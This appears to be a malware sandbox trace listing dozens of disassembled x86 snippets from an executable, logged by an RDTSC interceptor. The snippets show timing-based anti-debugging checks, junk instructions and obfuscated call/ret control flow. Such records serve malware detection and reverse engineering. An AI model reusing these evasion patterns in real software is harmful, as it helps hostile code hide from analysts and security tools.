Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B3E66 second address: 6B3EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB0FF9A3Fh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F9DB0FF9A48h 0x00000010 jl 00007F9DB0FF9A36h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a push esi 0x0000001b jmp 00007F9DB0FF9A3Fh 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push esi 0x00000024 pop esi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B3EB2 second address: 6B3EB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B5DF6 second address: 6B5E10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B62F9 second address: 6B62FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B62FD second address: 6B6306 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B6306 second address: 6B6370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push ecx 0x0000000a js 00007F9DB10DC5BCh 0x00000010 mov edi, dword ptr [ebp+122D3A65h] 0x00000016 pop ebx 0x00000017 push 00000000h 0x00000019 or dword ptr [ebp+1248CAC7h], ecx 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F9DB10DC5B8h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 0000001Bh 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b jc 00007F9DB10DC5BCh 0x00000041 xor ebx, 24A37664h 0x00000047 mov dword ptr [ebp+122D2A2Ch], eax 0x0000004d xchg eax, esi 0x0000004e pushad 0x0000004f pushad 0x00000050 jnp 00007F9DB10DC5B6h 0x00000056 je 00007F9DB10DC5B6h 0x0000005c popad 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B73B6 second address: 6B7435 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F9DB0FF9A38h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 stc 0x00000024 push 00000000h 0x00000026 jc 00007F9DB0FF9A3Ah 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007F9DB0FF9A38h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 xchg eax, esi 0x00000049 jg 00007F9DB0FF9A4Ch 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jo 00007F9DB0FF9A3Ch 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B7435 second address: 6B7439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B84AD second address: 6B84C3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9DB0FF9A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F9DB0FF9A36h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B84C3 second address: 6B84C9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B84C9 second address: 6B853D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9DB0FF9A3Ch 0x00000008 jnp 00007F9DB0FF9A36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F9DB0FF9A38h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b add ebx, dword ptr [ebp+122D2A3Dh] 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F9DB0FF9A38h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 0000001Bh 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d jng 00007F9DB0FF9A3Ch 0x00000053 mov edi, dword ptr [ebp+122D277Dh] 0x00000059 push 00000000h 0x0000005b mov bx, cx 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push edi 0x00000062 push edx 0x00000063 pop edx 0x00000064 pop edi 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B92FD second address: 6B9301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BB520 second address: 6BB524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BB524 second address: 6BB587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9DB10DC5C6h 0x0000000b popad 0x0000000c push eax 0x0000000d jno 00007F9DB10DC5C0h 0x00000013 nop 0x00000014 add dword ptr [ebp+122D384Bh], esi 0x0000001a push 00000000h 0x0000001c jmp 00007F9DB10DC5C9h 0x00000021 push 00000000h 0x00000023 jl 00007F9DB10DC5BAh 0x00000029 mov bx, D1DFh 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BB587 second address: 6BB58B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BB58B second address: 6BB591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6B75EE second address: 6B75F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BD4DF second address: 6BD4E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BF452 second address: 6BF45E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BFA08 second address: 6BFA4C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9DB10DC5CAh 0x00000008 jmp 00007F9DB10DC5C4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 or bl, 00000040h 0x00000013 push 00000000h 0x00000015 pushad 0x00000016 mov edi, dword ptr [ebp+122D34EEh] 0x0000001c stc 0x0000001d popad 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+122D1C1Ah], ecx 0x00000026 mov ebx, 1932E6CBh 0x0000002b push eax 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f ja 00007F9DB10DC5B6h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BFA4C second address: 6BFA50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BFA50 second address: 6BFA5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F9DB10DC5B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BB72E second address: 6BB753 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c jc 00007F9DB0FF9A36h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BC72E second address: 6BC791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov dword ptr [esp], eax 0x0000000b mov di, cx 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F9DB10DC5B8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov ebx, eax 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 jp 00007F9DB10DC5BCh 0x0000003e xor ebx, 1EAE233Eh 0x00000044 mov eax, dword ptr [ebp+122D0761h] 0x0000004a mov edi, 633BDCF1h 0x0000004f push FFFFFFFFh 0x00000051 mov bx, dx 0x00000054 push eax 0x00000055 pushad 0x00000056 pushad 0x00000057 push eax 0x00000058 pop eax 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C3AA1 second address: 6C3AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C3AA5 second address: 6C3ABF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C4ACD second address: 6C4AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9DB0FF9A36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C4AD7 second address: 6C4B6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F9DB10DC5B8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov dword ptr [ebp+12468FCCh], esi 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F9DB10DC5B8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 push 00000000h 0x0000004a add bl, 0000005Fh 0x0000004d xchg eax, esi 0x0000004e jmp 00007F9DB10DC5C0h 0x00000053 push eax 0x00000054 pushad 0x00000055 jnp 00007F9DB10DC5CAh 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C4B6D second address: 6C4B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C0BB0 second address: 6C0BB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C5B49 second address: 6C5B4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BFC59 second address: 6BFC5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BFC5D second address: 6BFC63 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C5B4F second address: 6C5BE8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9DB10DC5C4h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jnp 00007F9DB10DC5CCh 0x00000012 jmp 00007F9DB10DC5C6h 0x00000017 push ebx 0x00000018 jmp 00007F9DB10DC5C0h 0x0000001d pop ebx 0x0000001e popad 0x0000001f nop 0x00000020 sbb ebx, 54D3C5FEh 0x00000026 mov dword ptr [ebp+122D28E2h], edx 0x0000002c push 00000000h 0x0000002e jmp 00007F9DB10DC5C2h 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edx 0x00000038 call 00007F9DB10DC5B8h 0x0000003d pop edx 0x0000003e mov dword ptr [esp+04h], edx 0x00000042 add dword ptr [esp+04h], 00000016h 0x0000004a inc edx 0x0000004b push edx 0x0000004c ret 0x0000004d pop edx 0x0000004e ret 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jnl 00007F9DB10DC5BCh 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6BFC63 second address: 6BFC7E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9DB0FF9A38h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d je 00007F9DB0FF9A4Fh 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007F9DB0FF9A36h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C5BE8 second address: 6C5BEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C5BEE second address: 6C5BF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C4D2A second address: 6C4DDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F9DB10DC5B8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 sbb bx, 0902h 0x0000002b push dword ptr fs:[00000000h] 0x00000032 and bl, FFFFFFFCh 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov ebx, dword ptr [ebp+122D34E0h] 0x00000042 mov edi, esi 0x00000044 mov eax, dword ptr [ebp+122D109Dh] 0x0000004a mov ebx, edx 0x0000004c push FFFFFFFFh 0x0000004e push 00000000h 0x00000050 push edi 0x00000051 call 00007F9DB10DC5B8h 0x00000056 pop edi 0x00000057 mov dword ptr [esp+04h], edi 0x0000005b add dword ptr [esp+04h], 00000018h 0x00000063 inc edi 0x00000064 push edi 0x00000065 ret 0x00000066 pop edi 0x00000067 ret 0x00000068 jp 00007F9DB10DC5D0h 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007F9DB10DC5BBh 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C4DDB second address: 6C4DE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C6C5A second address: 6C6C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C6C5F second address: 6C6C64 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C5D08 second address: 6C5D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C5D0D second address: 6C5D2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A45h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C5D2F second address: 6C5D4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB10DC5C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C5D4B second address: 6C5D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C8B8E second address: 6C8BA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C8BA3 second address: 6C8BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9DB0FF9A36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C6E5C second address: 6C6EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edi 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, esi 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F9DB10DC5B8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e stc 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 movzx edi, bx 0x00000039 mov eax, dword ptr [ebp+122D10D1h] 0x0000003f push 00000000h 0x00000041 push ebx 0x00000042 call 00007F9DB10DC5B8h 0x00000047 pop ebx 0x00000048 mov dword ptr [esp+04h], ebx 0x0000004c add dword ptr [esp+04h], 0000001Dh 0x00000054 inc ebx 0x00000055 push ebx 0x00000056 ret 0x00000057 pop ebx 0x00000058 ret 0x00000059 adc bh, 00000061h 0x0000005c push FFFFFFFFh 0x0000005e adc di, 8A48h 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 je 00007F9DB10DC5B6h 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C8BAD second address: 6C8BB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C6EDA second address: 6C6EDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C8BB1 second address: 6C8BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6C8BBA second address: 6C8BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9DB10DC5B6h 0x0000000a jmp 00007F9DB10DC5C2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66AC25 second address: 66AC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D2837 second address: 6D283C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D283C second address: 6D284D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F9DB0FF9A36h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D284D second address: 6D2851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D2C95 second address: 6D2C99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D2C99 second address: 6D2CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9DB10DC5B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9DB10DC5C8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D2CC1 second address: 6D2CDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A47h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D8BAF second address: 6D8BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D8BB5 second address: 6D8BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D8BC1 second address: 6D8BD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D8BD6 second address: 6D8BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D8BDA second address: 6D8BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F9DB10DC5B8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D8BEF second address: 6D8BF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6D8BF4 second address: 6D8BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DD519 second address: 6DD523 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9DB0FF9A3Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DD523 second address: 6DD52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DD52D second address: 6DD533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DDCDF second address: 6DDCEB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DDEC9 second address: 6DDECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE17F second address: 6DE183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE183 second address: 6DE18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE18D second address: 6DE191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6DE191 second address: 6DE195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
